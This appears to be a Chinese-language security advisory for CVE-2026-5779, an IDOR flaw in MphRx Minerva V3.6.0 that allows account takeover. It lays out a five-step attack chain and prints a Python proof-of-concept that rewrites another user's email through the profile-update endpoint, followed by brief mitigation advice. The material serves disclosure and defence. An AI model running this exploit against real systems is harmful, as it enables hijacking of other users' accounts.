IPBUF安全漏洞报告
English
CVE-2026-5779 CVSS 8.8 高危

CVE-2026-5779 MphRx Minerva IDOR漏洞致账户接管

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-5779
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MphRx Minerva

相关标签

IDORMphRx Minerva账户接管权限绕过高危漏洞

漏洞概述

MphRx Minerva V3.6.0版本中的'/minerva/user/updateUserProfile'端点存在不安全的直接对象引用(IDOR)漏洞。该漏洞允许经过身份验证的低权限用户通过修改请求参数,直接更新其他注册用户的信息。攻击者可利用此漏洞将受害者的电子邮件地址更改为攻击者控制的地址,并利用'/webconnect/#/forgotPassword'功能请求密码重置,从而完全接管受害者的账户。该漏洞CVSS v3.1评分为8.8,属于高危级别,对机密性、完整性和可用性均造成严重影响。

技术细节

该漏洞的核心在于应用程序在处理用户资料更新请求时,未能正确验证当前会话用户是否拥有目标用户对象的操作权限。在'/minerva/user/updateUserProfile'接口中,系统可能通过可预测的用户ID或标识符来定位记录,且未在服务器端验证该ID是否属于当前请求者。攻击者只需拥有普通账户,即可通过网络发送特制的HTTP POST请求,将目标参数指向其他用户ID(如 admin 或特定受害者)。成功修改受害者邮箱后,攻击者利用系统忘记密码机制,将密码重置链接发送至已篡改的邮箱,从而绕过原所有者的验证,获取账户完全控制权。此过程无需用户交互,攻击复杂度低。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者在MphRx Minerva系统中注册或通过其他方式获取一个普通的低权限用户账户。
STEP 2
步骤2:识别IDOR漏洞
攻击者分析'/minerva/user/updateUserProfile'接口,发现可以通过修改请求中的用户ID参数来访问其他用户数据,且服务器未拒绝访问。
STEP 3
步骤3:篡改用户信息
攻击者发送恶意请求,将目标受害者的邮箱地址修改为攻击者控制的邮箱地址。
STEP 4
步骤4:发起密码重置
攻击者访问'/webconnect/#/forgotPassword'页面,输入受害者用户名,请求密码重置链接。
STEP 5
步骤5:接管账户
攻击者接收发送到受控邮箱的密码重置链接,设置新密码,从而完全控制受害者账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_host = "https://target-minerva-server.com" login_endpoint = "/minerva/login" update_endpoint = "/minerva/user/updateUserProfile" # Attacker credentials username = "attacker_user" password = "attacker_pass" # Victim details victim_user_id = "1002" # The ID of the target user to hijack new_email = "[email protected]" # 1. Authenticate as low-privileged user session = requests.Session() login_payload = {"username": username, "password": password} session.post(target_host + login_endpoint, json=login_payload) # 2. Exploit IDOR to update victim's profile # Vulnerable endpoint assumes the session user owns the victim_user_id update_payload = { "userId": victim_user_id, "email": new_email, "firstName": "Hacked" # Other profile fields may be required } response = session.post(target_host + update_endpoint, json=update_payload) if response.status_code == 200: print(f"[+] Success: Victim profile updated. Email changed to {new_email}") print("[+] Next step: Initiate password reset via /webconnect/#/forgotPassword") else: print(f"[-] Failed. Status: {response.status_code}, Response: {response.text}")

影响范围

MphRx Minerva V3.6.0

防御指南

临时缓解措施
在官方补丁发布前,建议限制对'/minerva/user/updateUserProfile'接口的访问权限,仅允许受信任的IP或管理员访问。同时,应加强日志监控,重点检测同一用户尝试修改不同用户ID资料的异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表